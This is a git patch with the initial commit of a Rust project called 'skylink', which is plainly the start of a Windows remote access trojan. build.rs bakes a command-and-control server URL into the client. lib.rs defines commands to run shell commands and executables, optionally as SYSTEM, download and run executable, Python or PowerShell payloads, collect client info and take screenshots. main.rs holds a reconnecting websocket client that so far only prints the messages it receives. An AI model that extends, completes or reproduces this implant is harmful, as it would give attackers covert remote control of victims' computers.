From df22b0bd5e61b661fa4ff2591493f4e902b6fb35 Mon Sep 17 00:00:00 2001 From: Xory Date: Wed, 12 Nov 2025 21:06:45 +0200 Subject: [PATCH] init: basic foundation --- .gitignore | 4 ++++ Cargo.toml | 24 +++++++++++++++++++++ LICENSE | 15 +++++++++++++ build.rs | 17 +++++++++++++++ flake.lock | 61 ++++++++++++++++++++++++++++++++++++++++++++++++++++ flake.nix | 17 +++++++++++++++ rustfmt.toml | 2 ++ shell.nix | 14 ++++++++++++ src/lib.rs | 28 ++++++++++++++++++++++++ src/main.rs | 49 +++++++++++++++++++++++++++++++++++++++++ 10 files changed, 231 insertions(+) create mode 100644 .gitignore create mode 100644 Cargo.toml create mode 100644 LICENSE create mode 100644 build.rs create mode 100644 flake.lock create mode 100644 flake.nix create mode 100644 rustfmt.toml create mode 100644 shell.nix create mode 100644 src/lib.rs create mode 100644 src/main.rs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..67b0b3f --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +/target +Cargo.lock +flake.lock +.env diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..e1c1ab8 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "skylink" +version = "1.0.0" +edition = "2024" +build = "build.rs" + +[dependencies] +tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] } +tokio-tungstenite = "0.28" +reqwest = "0.12" +serde = "1.0" +serde_json = "1.0" +windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE OR THE BUILD WILL BREAK + "Win32_Foundation", + "Win32_System_Com", + "Win32_System_Com_Marshal", + "Win32_System_Threading" +]} +anyhow = "1.0.100" +futures-util = "0.3.31" + +[build-dependencies] +dotenv = "0.15.0" +winresource = "0.1" diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..77dea88 --- /dev/null +++ b/LICENSE @@ -0,0 +1,15 @@ + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + Version 2, December 2004 + + Copyright (C) 2004 Sam Hocevar + + Everyone is permitted to copy and distribute verbatim or modified + copies of this license document, and changing it is allowed as long + as the name is changed. + + DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. You just DO WHAT THE FUCK YOU WANT TO. + + diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..500dc40 --- /dev/null +++ b/build.rs @@ -0,0 +1,17 @@ +use dotenv::dotenv; +use std::env; +use winresource; + +fn main() { + // Bake C2 server URL into client at build time + dotenv().ok(); + println!("cargo:rerun-if-changed=.env"); + let c2_server = env::var("C2_SERVER_URL").expect("C2 Server not defined in .env"); + println!("cargo:rustc-env=C2_SERVER_URL={}", c2_server); + + // Windows compile shit. + if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" { + let res = winresource::WindowsResource::new(); + res.compile().unwrap(); + } +} diff --git a/flake.lock b/flake.lock new file mode 100644 index 0000000..90396b4 --- /dev/null +++ b/flake.lock @@ -0,0 +1,61 @@ +{ + "nodes": { + "flake-utils": { + "inputs": { + "systems": "systems" + }, + "locked": { + "lastModified": 1731533236, + "narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=", + "owner": "numtide", + "repo": "flake-utils", + "rev": "11707dc2f618dd54ca8739b309ec4fc024de578b", + "type": "github" + }, + "original": { + "owner": "numtide", + "repo": "flake-utils", + "type": "github" + } + }, + "nixpkgs": { + "locked": { + "lastModified": 1762844143, + "narHash": "sha256-SlybxLZ1/e4T2lb1czEtWVzDCVSTvk9WLwGhmxFmBxI=", + "owner": "nixos", + "repo": "nixpkgs", + "rev": "9da7f1cf7f8a6e2a7cb3001b048546c92a8258b4", + "type": "github" + }, + "original": { + "owner": "nixos", + "ref": "nixos-unstable", + "repo": "nixpkgs", + "type": "github" + } + }, + "root": { + "inputs": { + "flake-utils": "flake-utils", + "nixpkgs": "nixpkgs" + } + }, + "systems": { + "locked": { + "lastModified": 1681028828, + "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", + "owner": "nix-systems", + "repo": "default", + "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", + "type": "github" + }, + "original": { + "owner": "nix-systems", + "repo": "default", + "type": "github" + } + } + }, + "root": "root", + "version": 7 +} diff --git a/flake.nix b/flake.nix new file mode 100644 index 0000000..748b1a6 --- /dev/null +++ b/flake.nix @@ -0,0 +1,17 @@ +{ + description = "Skylink"; + + inputs = { + nixpkgs.url = "github:nixos/nixpkgs?ref=nixos-unstable"; + flake-utils.url = "github:numtide/flake-utils"; + }; + + outputs = { self, nixpkgs, flake-utils }: + flake-utils.lib.eachDefaultSystem + (system: + let pkgs = nixpkgs.legacyPackages.${system}; in + { + devShells.default = import ./shell.nix { inherit pkgs; }; + } + ); +} diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 0000000..9d9aba5 --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1,2 @@ +tab_spaces = 2 + diff --git a/shell.nix b/shell.nix new file mode 100644 index 0000000..63004b3 --- /dev/null +++ b/shell.nix @@ -0,0 +1,14 @@ +{ pkgs ? import {} }: +with pkgs; +mkShell { + buildInputs = [ + pkgsCross.mingwW64.buildPackages.gcc + pkgsCross.mingwW64.buildPackages.glibc + rustup + libpthread-stubs + pkg-config + openssl + ]; + CARGO_TARGET_X86_64_PC_WINDOWS_GNU_RUSTFLAGS = "-L native=${pkgs.pkgsCross.mingwW64.windows.pthreads}/lib"; + +} diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..5e9d5e0 --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,28 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Deserialize, Serialize)] +pub enum PayloadType { + Executable, + Python, + Powershell, +} + +#[derive(Deserialize, Serialize)] +pub struct DnxParams<'a> { + pub url: &'a str, + pub name: &'a str, + pub args: &'a str, + pub run_as_system: bool, + pub file_type: PayloadType, +} + +#[derive(Deserialize, Serialize)] +pub enum Command<'a> { + RunCMD { command: &'a str }, + URunCMD { command: &'a str }, + RunExe { path: &'a str, args: &'a str }, + URunExe { path: &'a str, args: &'a str }, + ClientInfo, + Dnx { params: DnxParams<'a> }, + Screenshot, +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..ccb265a --- /dev/null +++ b/src/main.rs @@ -0,0 +1,49 @@ +use futures_util::stream::StreamExt; +use skylink::{Command, DnxParams, PayloadType}; + +// Some parts of this function were generated by an LLM. I'm taking note of this in case a +// weird barely detectable bug pops up, as LLMs tend to generate. +async fn websocket_handler() { + use std::time::Duration; + use tokio_tungstenite::connect_async; + use tokio_tungstenite::tungstenite::protocol::Message; + + let url = "ws://127.0.0.1:8080"; + loop { + match connect_async(url).await { + Ok(ws_stream_tuple) => { + println!("[i] Connected via websocket."); // TODO Use logger over println + let (mut ws_stream, _) = ws_stream_tuple; + while let Some(msg) = ws_stream.next().await { + match msg { + Ok(Message::Text(text)) => { + println!("{}", &text); + } + Ok(Message::Close(_)) => { + println!("[i] Disconnected."); + break; + } + Err(e) => { + eprintln!("Error receiving message: {:?}", e); + break; + } + _ => { + // Ignore other message types + } + } + } + } + Err(e) => { + eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println + } + } + println!("[i] Connection lost, reconnecting in 5 seconds..."); + tokio::time::sleep(Duration::from_secs(5)).await; + } +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + websocket_handler().await; + Ok(()) +}